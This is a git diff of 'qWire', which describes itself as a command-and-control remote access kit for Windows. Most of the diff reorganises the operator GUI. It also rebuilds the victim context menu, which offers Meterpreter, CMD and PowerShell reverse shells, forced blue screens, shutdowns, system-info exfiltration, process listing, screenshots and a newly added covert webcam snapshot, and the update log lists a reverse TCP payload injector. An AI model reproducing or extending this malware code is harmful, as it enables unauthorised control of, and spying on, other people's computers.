diff --git a/core/Qt5/img/socket_icon.png b/core/Qt5/img/socket_icon.png index b11a087..63f7ecb 100644 Binary files a/core/Qt5/img/socket_icon.png and b/core/Qt5/img/socket_icon.png differ diff --git a/core/Qt5/img/surveillance_icon.png b/core/Qt5/img/surveillance_icon.png index c79a24a..b96c533 100644 Binary files a/core/Qt5/img/surveillance_icon.png and b/core/Qt5/img/surveillance_icon.png differ diff --git a/core/Qt5/img/sync_icon.png b/core/Qt5/img/sync_icon.png index 5f389ac..496f5a8 100644 Binary files a/core/Qt5/img/sync_icon.png and b/core/Qt5/img/sync_icon.png differ diff --git a/core/Qt5/img/task_kill_icon.png b/core/Qt5/img/task_kill_icon.png index 5d024e3..fd6ee90 100644 Binary files a/core/Qt5/img/task_kill_icon.png and b/core/Qt5/img/task_kill_icon.png differ diff --git a/core/Qt5/img/task_man_icon.png b/core/Qt5/img/task_man_icon.png index a6730c4..25ae183 100644 Binary files a/core/Qt5/img/task_man_icon.png and b/core/Qt5/img/task_man_icon.png differ diff --git a/core/Qt5/img/update_log_icon.png b/core/Qt5/img/update_log_icon.png index ebd87a0..1fb7271 100644 Binary files a/core/Qt5/img/update_log_icon.png and b/core/Qt5/img/update_log_icon.png differ diff --git a/core/Qt5/img/webcam_icon.png b/core/Qt5/img/webcam_icon.png new file mode 100644 index 0000000..730a321 Binary files /dev/null and b/core/Qt5/img/webcam_icon.png differ diff --git a/core/Qt5/img/windows_10_logo.png b/core/Qt5/img/windows_10_logo.png new file mode 100644 index 0000000..4a646c4 Binary files /dev/null and b/core/Qt5/img/windows_10_logo.png differ diff --git a/core/Qt5/img/windows_7_logo.png b/core/Qt5/img/windows_7_logo.png new file mode 100644 index 0000000..b79794f Binary files /dev/null and b/core/Qt5/img/windows_7_logo.png differ diff --git a/core/Qt5/ghost_wire_gui.py b/core/Qt5/main_window/qwire_main_gui.py similarity index 87% rename from core/Qt5/ghost_wire_gui.py rename to core/Qt5/main_window/qwire_main_gui.py index e7babdc..d34c556 100644 --- a/core/Qt5/ghost_wire_gui.py +++ b/core/Qt5/main_window/qwire_main_gui.py @@ -10,33 +10,35 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- +import os + from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5.Qt import Qt from PyQt5.QtWidgets import QWidget,QMenu,QAbstractItemView from PyQt5.QtCore import QEvent -from ..logging.logging import LoggingUtilitys,NetworkingConfigs,ClientWindow,ConsoleWindow -from ..Qt5.settings_window import Ui_settings_window -from ..Qt5.ListenerGUI import Ui_ListenerGUI -from ..Qt5.sysinfo_window import Ui_host_info_window -from ..Qt5.info_window import Ui_information_window -from ..Qt5.screenshot_window import Ui_screenshot_window -from ..Qt5.agent_builder_window import Ui_builder_dialog -from ..Qt5.update_log_window import Ui_update_log_window -from ..Qt5.task_manager_window import Ui_task_manager_dialog -from ..Qt5.icons import IconObj,ImageObj,PixmapObj -from ..utils.file_paths import BGPath -from ..utils.file_paths import DSFilePath -from ..networking.dns_handler import DomainHandler -from ..networking.socket import Utilitys - -from ..client_handling.shell import Meterpreter,SystemShell -from ..client_handling.networking import NetHandle -from ..client_handling.enumeration import SystemCommands -from ..client_handling.system import SystemManager -from ..client_handling.surveillance import Streaming +from core.logging.logging import LoggingUtilitys,NetworkingConfigs,ClientWindow,ConsoleWindow +from core.Qt5.settings_gui.settings_window import Ui_settings_window +from core.Qt5.misc_gui.ListenerGUI import Ui_ListenerGUI +from core.Qt5.misc_gui.sysinfo_window import Ui_host_info_window +from core.Qt5.misc_gui.info_window import Ui_information_window +from core.Qt5.handling_guis.image_display_window import Ui_image_data_window +from core.Qt5.builder_guis.windows10.agent_builder_window import Ui_builder_dialog +from core.Qt5.misc_gui.update_log_window import Ui_update_log_window +from core.Qt5.handling_guis.task_manager_window import Ui_task_manager_dialog +from core.Qt5.icons import IconObj,ImageObj,PixmapObj +from core.utils.file_paths import BGPath +from core.utils.file_paths import DSFilePath +from core.networking.utils.dns_handler import DomainHandler +from core.networking.sockets.server_socket import Utilitys +from core.threading.threads import ProcessRunnable +from core.client_handling.shell import Meterpreter,SystemShell +from core.client_handling.networking import NetHandle +from core.client_handling.enumeration import SystemCommands +from core.client_handling.system import SystemManager +from core.client_handling.surveillance import Streaming from time import sleep from os.path import exists @@ -46,20 +48,7 @@ active_connections_array = [] listening_sockets_array = [] -BUILD_VERSION = '1.0.2' - -#Thread for running background tasks. Qt does not run well with the pythons threading libs -class ProcessRunnable(QtCore.QRunnable): - def __init__(self, target, args): - QtCore.QRunnable.__init__(self) - self.t = target - self.args = args - - def run(self): - self.t() - - def start(self): - QtCore.QThreadPool.globalInstance().start(self) +BUILD_VERSION = '1.0.21' class Ui_main_window(QWidget): @@ -194,6 +183,11 @@ def open_new_window(self,UI): #Function creates context menu when client is right clicked in the list. Used to interact with client def eventFilter(self,source,event): + """ + Define a series of internal functions to extract required parameters for + interacting with the client + """ + #Internal function to get clients encryption key def get_key_from_row(): row = self.active_connections_list.currentRow() #Retrieve socket from array based on position in client sock array @@ -212,47 +206,107 @@ def remove_client_socket(): Utilitys().remove_socket_from_array(socket_index) #Remove the client socket object from the array with the row number if event.type() == QEvent.ContextMenu and source is self.active_connections_list and self.active_connections_list.currentRow() > -1: #If event is left click and the source is the active connections list - #And there is a connection in the row - + """ + Define context menu object + """ #And there is a connection in the row context_menu = QMenu(self) #Create Menu Object + """ + Create root submenus on the main menu + """ networking_menu = context_menu.addMenu('Networking') #Create networking submenu - networking_menu.setIcon(IconObj().net_icon) #Add Icon to networking menu - ping_client = networking_menu.addAction('Ping') #Add ping action to networking menu - ping_client.setIcon(IconObj().ping_icon) #Ping Icon + shells_menu = context_menu.addMenu('Shells') # Create Shells Sub menu + sys_manager_menu = context_menu.addMenu('System') # Add system functions menu + enumeration_menu = context_menu.addMenu('Enumeration') # Enumeration menu + surveillance_menu = context_menu.addMenu('Surveillance') # Add surveillance menu + """ + Add sub-menus to root sub-menus + """ + #NETWORKING MENU + #(none) + + #SHELLS MENU + meterpreter_menu = shells_menu.addMenu('Meterpreter') #Add meterpreter sub menu to shells sub menu + system_menu = shells_menu.addMenu('System') # Add system shells sub menu to sub menu + + #SYSTEM MANAGER MENU + #(none) + + #ENUMERATION MENU + #(none) + + #SURVEILLANCE MENU + desktop_menu = surveillance_menu.addMenu('Desktop') + webcam_menu = surveillance_menu.addMenu('Webcam') + """ + Add actions items to menus + """ + #NETWORKING MENU + ping_client = networking_menu.addAction('Ping') # Add ping action to networking menu reconnect_action = networking_menu.addAction('Reconnect') #Add reconnect action disconnect_action = networking_menu.addAction('Disconnect') #Add disconnect action + + #SHELLS MENU + #METERPRETER MENU + python_meterpreter = meterpreter_menu.addAction('Python') # Add python meterpreter action to shells sub menu + #SYSTEM MENU + CMD_shell = system_menu.addAction('CMD Shell') # Add Command shell action to system shells menu + powershell_shell = system_menu.addAction('PowerShell') # Add powershell reverse shell to submenu + + #SYSTEM MANAGER MENU + blue_screen = sys_manager_menu.addAction('BSoD') # Add blue screen to sys functions menu + reboot_client = sys_manager_menu.addAction('Reboot') # Add reboot client function + shutdown_client = sys_manager_menu.addAction('Shutdown') # Shutdown client option + + #ENUMERATION MENU + system_info = enumeration_menu.addAction('System Info') #System Information exfiltration + get_client_process = enumeration_menu.addAction('Task Manager') #Task Manager + + #SURVEILLANCE MENU + #DESKTOP MENU + screenshot = desktop_menu.addAction('Screenshot') # Screenshot action + #WEBCAM MENU + snapshot = webcam_menu.addAction('Snapshot') + """ + Assemble Icons for menus and action items + """ + #NETWORKING MENU + networking_menu.setIcon(IconObj().net_icon) #Add Icon to networking menu + ping_client.setIcon(IconObj().ping_icon) #Ping Icon disconnect_action.setIcon(IconObj().disconnect_icon) #Add Icon reconnect_action.setIcon(IconObj().reconnect_icon) #Add icon to reconnect action - shells_menu = context_menu.addMenu('Shells') #Create Shells Sub menu + + #SHELLS MENU shells_menu.setIcon(IconObj().shells_icon) #Create shells menu icon - meterpreter_menu = shells_menu.addMenu('Meterpreter') #Add meterpreter sub menu to shells sub menu + #METERPRETER MENU meterpreter_menu.setIcon(IconObj().msf_icon) #Add icon to meterpreter menu - python_meterpreter = meterpreter_menu.addAction('Python') #Add python meterpreter action to shells sub menu python_meterpreter.setIcon(IconObj().python_icon) #Add python icon to python meterpreter - system_menu = shells_menu.addMenu('System') #Add system shells sub menu to sub menu + #SYSTEM MENU system_menu.setIcon(IconObj().system_icon) #Add icon to system shells menu - powershell_shell = system_menu.addAction('PowerShell') #Add powershell reverse shell to submenu powershell_shell.setIcon(IconObj().ps_shell_icon) #Add icon to powershell shell option - sys_manager_menu = context_menu.addMenu('System') #Add system functions menu + CMD_shell.setIcon(IconObj().cmd_shell_icon) + + #SYSTEM MANAGER MENU sys_manager_menu.setIcon(IconObj().system_icon) #Add icon to system functions menu - blue_screen = sys_manager_menu.addAction('BSoD') #Add blue screen to sys functions menu blue_screen.setIcon(IconObj().bsod_icon) #Icon - reboot_client = sys_manager_menu.addAction('Reboot') #Add reboot client function reboot_client.setIcon(IconObj().reconnect_icon) #Reuse reconnect icon - shutdown_client = sys_manager_menu.addAction('Shutdown') #Shutdown client option shutdown_client.setIcon(IconObj().shutdown_icon) #Icon - enumeration_menu = context_menu.addMenu('Enumeration') #Enumeration menu + + #ENUMERATION MENU enumeration_menu.setIcon(IconObj().magn_glass_icon) #Icon - system_info = enumeration_menu.addAction('System Info') #System Information exfiltration system_info.setIcon(IconObj().system_icon) #Icon - get_client_process = enumeration_menu.addAction('Task Manager') #Task Manager get_client_process.setIcon(IconObj().task_manager_icon) #Icon - surveillance_menu = context_menu.addMenu('Surveillance') #Add surveillance menu - surveillance_menu.setIcon(IconObj().surveillance_icon) #Icon - screenshot = surveillance_menu.addAction('Screenshot') #Screenshot action + + #SURVEILLANCE MENU + surveillance_menu.setIcon(IconObj().surveillance_icon) #IcoN + #DESKTOP MENU + desktop_menu.setIcon(IconObj().system_icon) screenshot.setIcon(IconObj().screenshot_icon) #Icon - CMD_shell = system_menu.addAction('CMD Shell') #Add Command shell action to system shells menu - CMD_shell.setIcon(IconObj().cmd_shell_icon) + #WEBCAM MENU + webcam_menu.setIcon(IconObj().webcam_icon) + snapshot.setIcon(IconObj().screenshot_icon) + """ + Assign functions to actions + """ action = context_menu.exec_(self.mapToGlobal(event.globalPos())) #Define the click action bool for the menu if action == python_meterpreter: #If python meterpreter is clicked @@ -311,8 +365,9 @@ def remove_client_socket(): if action == screenshot: ConsoleWindow().log_to_console('Capturing screenshot from client') #Log to console Streaming().get_client_screenshot(get_key_from_row(),get_client_socket_obj()) #Get screenshot - self.open_new_window(Ui_screenshot_window) #Open window with photo - ConsoleWindow().log_to_console('Received screenshot') #Log to console + ConsoleWindow().log_to_console('Received screenshot') # Log to console + self.open_new_window(Ui_image_data_window) #Open window with photo + #os.remove(DSFilePath().streaming_frame) if action == disconnect_action: #If action is to disconnect client ConsoleWindow().log_to_console('Disconnecting client') #Log to console @@ -329,10 +384,22 @@ def remove_client_socket(): break #Break the loop self.open_client_compatible_window(Ui_task_manager_dialog,get_client_socket_obj(),get_key_from_row()) #Open the task manager window + if action == snapshot: + ConsoleWindow().log_to_console('Paging client for webcam') + if Streaming().get_client_snapshot(get_key_from_row(),get_client_socket_obj()) == True: + self.open_new_window(Ui_image_data_window) + #os.remove(DSFilePath().streaming_frame) + else: + ConsoleWindow().log_to_console('Failed to receive snapshot from client. Camera likely does not exist.') + + return True return super().eventFilter(source, event) def setupUi(self, main_window): + """ + Define UI parameters + """ main_window.setObjectName("main_window") main_window.resize(1574, 784) #Change main window size main_window.setWindowIcon(IconObj().main_window_icon) #Set main window icon @@ -398,6 +465,9 @@ def setupUi(self, main_window): self.builder_menu = QtWidgets.QMenu(self.main_menu_bar) self.builder_menu.setObjectName("builder_menu") self.builder_menu.setIcon(IconObj().builder_icon) + self.windows_menu = self.builder_menu.addMenu('Windows') + self.windows_menu.setObjectName("windows_menu") + self.windows_menu.setIcon(IconObj().microsoft_logo_icon) self.settings_menu = QtWidgets.QMenu(self.main_menu_bar) self.settings_menu.setObjectName("settings_menu") self.settings_menu.setIcon(IconObj().settings_icon) @@ -414,9 +484,9 @@ def setupUi(self, main_window): self.update_logs = QtWidgets.QAction(main_window,triggered=lambda: self.open_new_window(Ui_update_log_window)) self.update_logs.setObjectName("update_logs") self.update_logs.setIcon(IconObj().update_log_icon) - self.agent_builder = QtWidgets.QAction(main_window,triggered=lambda: self.open_new_window(Ui_builder_dialog)) - self.agent_builder.setObjectName("agent_builder") - self.agent_builder.setIcon(IconObj().builder_icon) + self.windows_10_agent = QtWidgets.QAction(main_window, triggered=lambda: self.open_new_window(Ui_builder_dialog)) + self.windows_10_agent.setObjectName("windows_10_agent") + self.windows_10_agent.setIcon(IconObj().windows_10_logo) self.qwire_settings = QtWidgets.QAction(main_window,triggered=lambda: self.open_new_window(Ui_settings_window)) self.qwire_settings.setObjectName("qwire_settings") self.qwire_settings.setIcon(IconObj().settings_icon) @@ -424,7 +494,7 @@ def setupUi(self, main_window): self.network_menu.addAction(self.update_dns) self.about_menu.addAction(self.version_info) self.about_menu.addAction(self.update_logs) - self.builder_menu.addAction(self.agent_builder) + self.windows_menu.addAction(self.windows_10_agent) self.settings_menu.addAction(self.qwire_settings) self.main_menu_bar.addAction(self.network_menu.menuAction()) self.main_menu_bar.addAction(self.builder_menu.menuAction()) @@ -522,7 +592,7 @@ def retranslateUi(self, main_window): self.update_dns.setText(_translate("main_window", "Update DNS")) self.version_info.setText(_translate("main_window", "Version Info")) self.update_logs.setText(_translate("main_window", "Update Log")) - self.agent_builder.setText(_translate("main_window", "Agent Builder")) + self.windows_10_agent.setText(_translate("main_window", "Windows 10")) self.qwire_settings.setText(_translate("main_window", "qWire Settings")) self.connections_label.setText(_translate("main_window", "Connections: 0")) self.data_label.setText(_translate("main_window", "Data tx/rx: 0\\b")) diff --git a/core/Qt5/ListenerGUI.py b/core/Qt5/misc_gui/ListenerGUI.py similarity index 89% rename from core/Qt5/ListenerGUI.py rename to core/Qt5/misc_gui/ListenerGUI.py index e5f9a60..a14c85f 100644 --- a/core/Qt5/ListenerGUI.py +++ b/core/Qt5/misc_gui/ListenerGUI.py @@ -10,16 +10,16 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- from PyQt5.QtWidgets import QWidget,QMenu from PyQt5.QtCore import QEvent from PyQt5 import QtCore, QtGui, QtWidgets -from ..Qt5.icons import IconObj -from ..utils.file_paths import CFGFilePath,BGPath -from ..utils.utils import ErrorHandling -from ..logging.logging import NetworkingConfigs,LoggingUtilitys -from ..networking.socket import ServerSocket +from core.Qt5.icons import IconObj +from core.utils.file_paths import CFGFilePath,BGPath +from core.utils.utils import ErrorHandling +from core.logging.logging import NetworkingConfigs,LoggingUtilitys +from core.networking.sockets.server_socket import ServerSocket class Ui_ListenerGUI(QWidget): @@ -84,6 +84,9 @@ def add_existing_listeners(self): self.PortDisplay.addItem(item) #Add item to port gui def setupUi(self, Dialog): + """ + Initialize UI parameters + """ Dialog.setWindowIcon(IconObj().sat_win_icon) Dialog.setObjectName("Dialog") Dialog.resize(318, 158) @@ -92,19 +95,37 @@ def setupUi(self, Dialog): font.setBold(True) font.setWeight(75) Dialog.setFont(font) - Dialog.setStyleSheet(f"background-image: url({BGPath().cheap_loic_lol});") - self.CreateListenerButton = QtWidgets.QPushButton(Dialog,clicked=lambda: self.CreateNewListener()) - self.CreateListenerButton.setGeometry(QtCore.QRect(210, 120, 100, 31)) - self.CreateListenerButton.setObjectName("CreateListenerButton") + """ + Create widget object + """ + self.CreateListenerButton = QtWidgets.QPushButton(Dialog, clicked=lambda: self.CreateNewListener()) self.PortInputBox = QtWidgets.QLineEdit(Dialog) - self.PortInputBox.setGeometry(QtCore.QRect(10, 120, 101, 33)) - self.PortInputBox.setObjectName("PortInputBox") self.PortDisplay = QtWidgets.QListWidget(Dialog) + """ + Set widget geometry + """ + self.CreateListenerButton.setGeometry(QtCore.QRect(210, 120, 100, 31)) + self.PortInputBox.setGeometry(QtCore.QRect(10, 120, 101, 33)) self.PortDisplay.setGeometry(QtCore.QRect(10, 10, 101, 91)) + """ + Set widget object names + """ + self.CreateListenerButton.setObjectName("CreateListenerButton") + self.PortInputBox.setObjectName("PortInputBox") + self.PortDisplay.setObjectName("PortDisplay") + """ + Set style sheets + """ + Dialog.setStyleSheet(f"background-image: url({BGPath().cheap_loic_lol});") + self.PortDisplay.setStyleSheet("") + """ + Install event filters and configure object settings + """ self.PortDisplay.installEventFilter(self) self.PortDisplay.setAcceptDrops(False) - self.PortDisplay.setStyleSheet("") - self.PortDisplay.setObjectName("PortDisplay") + """ + Populate listener window with listeners and finish setting up UI + """ self.add_existing_listeners() #Add existing listeners saved in ports.txt to ports display self.retranslateUi(Dialog) QtCore.QMetaObject.connectSlotsByName(Dialog) diff --git a/core/Qt5/info_window.py b/core/Qt5/misc_gui/info_window.py similarity index 87% rename from core/Qt5/info_window.py rename to core/Qt5/misc_gui/info_window.py index aeca080..52d20a4 100644 --- a/core/Qt5/info_window.py +++ b/core/Qt5/misc_gui/info_window.py @@ -10,10 +10,10 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- -from ..utils.file_paths import BGPath -from ..Qt5.icons import IconObj +from core.utils.file_paths import BGPath +from core.Qt5.icons import IconObj from PyQt5 import QtCore from PIL import Image @@ -24,12 +24,17 @@ def get_image_size(self): self.width, self.height = image.size #Capture width and height of image object def setupUi(self, information_window): + """ + Get the image size, initialize window parameters + """ self.get_image_size() information_window.setObjectName("information_window") information_window.setWindowIcon(IconObj().main_window_icon) information_window.resize(self.width,self.height) information_window.setStyleSheet(f"background-image: url({BGPath().qWire_info_bg});") - + """ + Finish setting up UI + """ self.retranslateUi(information_window) QtCore.QMetaObject.connectSlotsByName(information_window) diff --git a/core/Qt5/sysinfo_window.py b/core/Qt5/misc_gui/sysinfo_window.py similarity index 83% rename from core/Qt5/sysinfo_window.py rename to core/Qt5/misc_gui/sysinfo_window.py index a4d7385..296d419 100644 --- a/core/Qt5/sysinfo_window.py +++ b/core/Qt5/misc_gui/sysinfo_window.py @@ -10,23 +10,33 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- from PyQt5 import QtCore, QtWidgets, Qt -from ..Qt5.icons import IconObj -from..utils.file_paths import DSFilePath -from ..logging.logging import LoggingUtilitys +from core.Qt5.icons import IconObj +from core.utils.file_paths import DSFilePath +from core.logging.logging import LoggingUtilitys from os import remove class Ui_host_info_window(object): def setupUi(self, host_information_window): + """ + Initialize our UI parameters + """ host_information_window.setObjectName("host_information_window") host_information_window.resize(916, 712) host_information_window.setStyleSheet(f"background-color:blue;") host_information_window.setWindowIcon(IconObj().system_icon) + """ + Create list object, set geometry and object name + """ self.host_info_list = QtWidgets.QListWidget(host_information_window) self.host_info_list.setGeometry(QtCore.QRect(0, 0, 921, 711)) self.host_info_list.setObjectName("host_info_list") + """ + Populate our window with the information from the client + and complete the UI setup + """ self.display_system_info() self.retranslateUi(host_information_window) QtCore.QMetaObject.connectSlotsByName(host_information_window) diff --git a/core/Qt5/update_log_window.py b/core/Qt5/misc_gui/update_log_window.py similarity index 79% rename from core/Qt5/update_log_window.py rename to core/Qt5/misc_gui/update_log_window.py index ed33935..438c362 100644 --- a/core/Qt5/update_log_window.py +++ b/core/Qt5/misc_gui/update_log_window.py @@ -10,11 +10,11 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- -from PyQt5 import QtCore, QtGui, QtWidgets -from ..Qt5.icons import IconObj -from ..utils.file_paths import BGPath +from PyQt5 import QtCore, QtWidgets +from core.Qt5.icons import IconObj +from core.utils.file_paths import BGPath BUILD_100 = ['Build 1.0.0', @@ -42,16 +42,30 @@ 'Added x64/Reverse TCP payload to injector', 'Added CMD Shell to Shells > System Shells'] + +BUILD_1021 = ['Build 1.0.21', + 'April 23rd 2022', + 're-organized code for GUI\'s', + 'Re-structured some of the file hierarchy around the builder and the GUI\'s' + 'Added webcam snapshot feature to surveillance', + 'Re - Structured Surveillance menu', + ' Surveillance > Desktop > Screenshot', + ' Surveillance > Webcam > Snapshot', + 'Various code optimizations', + 'Fixed issue with agent disconnecting when server shuts down during initial handshake' + ] + MASTER_ARRAY = [BUILD_100, BUILD_101, - BUILD_102] + BUILD_102, + BUILD_1021,] class Ui_update_log_window(object): #Function will generate banner string with release date and build version def generate_version_banner(self,build_version,release_date): banner = f"""########################################## -{build_version}|-|-|{release_date} +{build_version}|-|-|-|-|-|-|-|{release_date} ##########################################""" return banner @@ -66,12 +80,27 @@ def record_updates_to_log(self,updates_array): self.update_log_widget.addItem(update_item) #Log the update def setupUi(self, update_log_window): + """ + Initialize UI parameters + """ update_log_window.setObjectName("update_log_window") update_log_window.resize(877, 565) update_log_window.setWindowIcon(IconObj().sync_icon) + """ + Create widget objects + """ self.update_log_widget = QtWidgets.QListWidget(update_log_window) + """ + Set widget geometry + """ self.update_log_widget.setGeometry(QtCore.QRect(10, 10, 861, 551)) + """ + Set widget object names + """ self.update_log_widget.setObjectName("update_log_widget") + """ + Finish setting up UI + """ self.update_log_widget.setStyleSheet(f"background-image: url({BGPath().black_box});") self.record_updates_to_log(MASTER_ARRAY) self.retranslateUi(update_log_window) diff --git a/core/Qt5/screenshot_window.py b/core/Qt5/screenshot_window.py deleted file mode 100644 index a1af172..0000000 --- a/core/Qt5/screenshot_window.py +++ /dev/null @@ -1,38 +0,0 @@ -# M""MMM""MMM""M oo -# M MMM MMM M -# .d8888b. M MMP MMP M dP 88d888b. .d8888b. -# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 -# 88. .88 M `' . '' .MM 88 88 88. ... -# `8888P88 M .d .dMMM dP dP `88888P' -# 88 MMMMMMMMMMMMMM Command and Control -# dP -# ------------------------------------------------------------- -# [A Remote Access Kit for Windows] -# Author: SlizBinksman -# Github: https://github.com/slizbinksman -# Build: 1.0.2 -# ------------------------------------------------------------- -from PyQt5 import QtCore -from ..utils.file_paths import DSFilePath -from ..Qt5.icons import IconObj -from PIL import Image - -class Ui_screenshot_window(object): - - #Function will get the size of the screenshot to define the borders of the window - def get_image_size(self): - image = Image.open(DSFilePath().streaming_frame) #Create image object - self.width, self.height = image.size #Capture width and height of image object - - def setupUi(self, Dialog): - Dialog.setObjectName("ss_window") - Dialog.setWindowIcon(IconObj().screenshot_icon) - self.get_image_size() - Dialog.resize(self.width,self.height) - Dialog.setStyleSheet(f"background-image: url({DSFilePath().streaming_frame});") - self.retranslateUi(Dialog) - QtCore.QMetaObject.connectSlotsByName(Dialog) - - def retranslateUi(self, Dialog): - _translate = QtCore.QCoreApplication.translate - Dialog.setWindowTitle(_translate("ss_window", "Screenshot")) diff --git a/core/Qt5/domains_window.py b/core/Qt5/settings_gui/domains_window.py similarity index 83% rename from core/Qt5/domains_window.py rename to core/Qt5/settings_gui/domains_window.py index e1a805e..a6bab25 100644 --- a/core/Qt5/domains_window.py +++ b/core/Qt5/settings_gui/domains_window.py @@ -10,11 +10,11 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- from PyQt5 import QtCore, QtWidgets -from ..Qt5.icons import IconObj -from ..logging.logging import DNSconfigs +from core.Qt5.icons import IconObj +from core.logging.logging import DNSconfigs class Ui_domains_window(object): @@ -33,24 +33,42 @@ def add_domain_to_file(self,domain): self.new_domain_input.clear() #Clear the domain input bar def setupUi(self, domains_window): + """ + Initialize UI parameters + """ domains_window.setObjectName("domains_window") domains_window.resize(282, 247) domains_window.setWindowIcon(IconObj().duck_dns_icon) + """ + Create widget objects + """ self.domains_list = QtWidgets.QListWidget(domains_window) - self.domains_list.setGeometry(QtCore.QRect(0, 10, 281, 171)) - self.domains_list.setObjectName("domains_list") - for domain in self.current_domains: #get domains in the domain array - self.domains_list.addItem(domain) #append the array to the domains list self.new_domain_input = QtWidgets.QLineEdit(domains_window) + self.add_domain_button = QtWidgets.QPushButton(domains_window, clicked=lambda: self.add_domain_to_file( + self.new_domain_input.text())) + self.del_domain_button = QtWidgets.QPushButton(domains_window, clicked=lambda: self.remove_domain_from_list()) + """ + Set widget geometry + """ + self.domains_list.setGeometry(QtCore.QRect(0, 10, 281, 171)) self.new_domain_input.setGeometry(QtCore.QRect(0, 210, 201, 31)) - self.new_domain_input.setObjectName("new_domain_input") - self.add_domain_button = QtWidgets.QPushButton(domains_window,clicked=lambda: self.add_domain_to_file(self.new_domain_input.text())) self.add_domain_button.setGeometry(QtCore.QRect(210, 210, 31, 31)) - self.add_domain_button.setObjectName("add_domain_button") - self.del_domain_button = QtWidgets.QPushButton(domains_window,clicked=lambda: self.remove_domain_from_list()) self.del_domain_button.setGeometry(QtCore.QRect(250, 210, 31, 31)) + """ + Set widget object names + """ + self.domains_list.setObjectName("domains_list") + self.new_domain_input.setObjectName("new_domain_input") + self.add_domain_button.setObjectName("add_domain_button") self.del_domain_button.setObjectName("del_domain_button") - + """ + Populate domains list with current domains + """ + for domain in self.current_domains: #get domains in the domain array + self.domains_list.addItem(domain) #append the array to the domains list + """ + Finish setting up UI + """ self.retranslateUi(domains_window) QtCore.QMetaObject.connectSlotsByName(domains_window) diff --git a/core/Qt5/duck_dns_token_window.py b/core/Qt5/settings_gui/duck_dns_token_window.py similarity index 84% rename from core/Qt5/duck_dns_token_window.py rename to core/Qt5/settings_gui/duck_dns_token_window.py index f0ff889..4496a4e 100644 --- a/core/Qt5/duck_dns_token_window.py +++ b/core/Qt5/settings_gui/duck_dns_token_window.py @@ -10,12 +10,12 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- -from PyQt5 import QtCore, QtGui, QtWidgets -from ..logging.logging import LoggingUtilitys,DNSconfigs -from ..utils.utils import Notifications -from ..Qt5.icons import IconObj +from PyQt5 import QtCore, QtWidgets +from core.logging.logging import DNSconfigs +from core.utils.utils import Notifications +from core.Qt5.icons import IconObj class Ui_dns_token_window(object): @@ -26,16 +26,30 @@ def update_token(self,new_token,dns_token_window): Notifications().raise_notification(f'Updated token to {new_token}','Success') #Raise notification def setupUi(self, dns_token_window): + """ + Initialize UI parameters + """ dns_token_window.setObjectName("dns_token_window") dns_token_window.resize(400, 136) dns_token_window.setWindowIcon(IconObj().duck_dns_icon) + """ + Create widget objects + """ self.update_dns_button = QtWidgets.QPushButton(dns_token_window,clicked=lambda: self.update_token(self.dns_token_input.text(),dns_token_window)) - self.update_dns_button.setGeometry(QtCore.QRect(260, 100, 131, 31)) - self.update_dns_button.setObjectName("pushButton") self.dns_token_input = QtWidgets.QLineEdit(dns_token_window) + """ + set widget geometery + """ + self.update_dns_button.setGeometry(QtCore.QRect(260, 100, 131, 31)) self.dns_token_input.setGeometry(QtCore.QRect(10, 30, 381, 33)) + """ + Set widget names + """ + self.update_dns_button.setObjectName("pushButton") self.dns_token_input.setObjectName("dns_token_input") - + """ + Finish setting up UI + """ self.retranslateUi(dns_token_window) QtCore.QMetaObject.connectSlotsByName(dns_token_window) @@ -45,12 +59,3 @@ def retranslateUi(self, dns_token_window): self.update_dns_button.setText(_translate("dns_token_window", "Update Token")) current_token = DNSconfigs().retrieve_dns_token() #Retrieve current dns token from file self.dns_token_input.setText(_translate("dns_token_window", current_token)) #Add token to the token input widget - -if __name__ == "__main__": - import sys - app = QtWidgets.QApplication(sys.argv) - dns_token_window = QtWidgets.QDialog() - ui = Ui_dns_token_window() - ui.setupUi(dns_token_window) - dns_token_window.show() - sys.exit(app.exec_()) diff --git a/core/Qt5/settings_window.py b/core/Qt5/settings_gui/settings_window.py similarity index 93% rename from core/Qt5/settings_window.py rename to core/Qt5/settings_gui/settings_window.py index 80d0793..dceb0e9 100644 --- a/core/Qt5/settings_window.py +++ b/core/Qt5/settings_gui/settings_window.py @@ -10,18 +10,18 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- from PyQt5 import QtCore, QtGui, QtWidgets -from ..logging.logging import ConsoleWindow,LoggingUtilitys -from ..Qt5.duck_dns_token_window import Ui_dns_token_window -from ..Qt5.domains_window import Ui_domains_window -from ..Qt5.webhook_window import Ui_webhook_dialog -from ..Qt5.icons import IconObj -from ..utils.utils import Validation,Notifications, ErrorHandling -from ..utils.file_paths import BGPath,CFGFilePath -from ..logging.logging import NetworkingConfigs,DNSconfigs,DiscordCFG -from ..networking.IP_Handler import NicHandler +from core.logging.logging import ConsoleWindow,LoggingUtilitys +from core.Qt5.settings_gui.duck_dns_token_window import Ui_dns_token_window +from core.Qt5.settings_gui.domains_window import Ui_domains_window +from core.Qt5.settings_gui.webhook_window import Ui_webhook_dialog +from core.Qt5.icons import IconObj +from core.utils.utils import Validation,Notifications, ErrorHandling +from core.utils.file_paths import BGPath,CFGFilePath +from core.logging.logging import NetworkingConfigs,DNSconfigs,DiscordCFG +from core.networking.utils.IP_Handler import NicHandler class Ui_settings_window(object): @@ -123,144 +123,173 @@ def open_new_window(self,UI): self.window.show() def setupUi(self, settings_window): + """ + 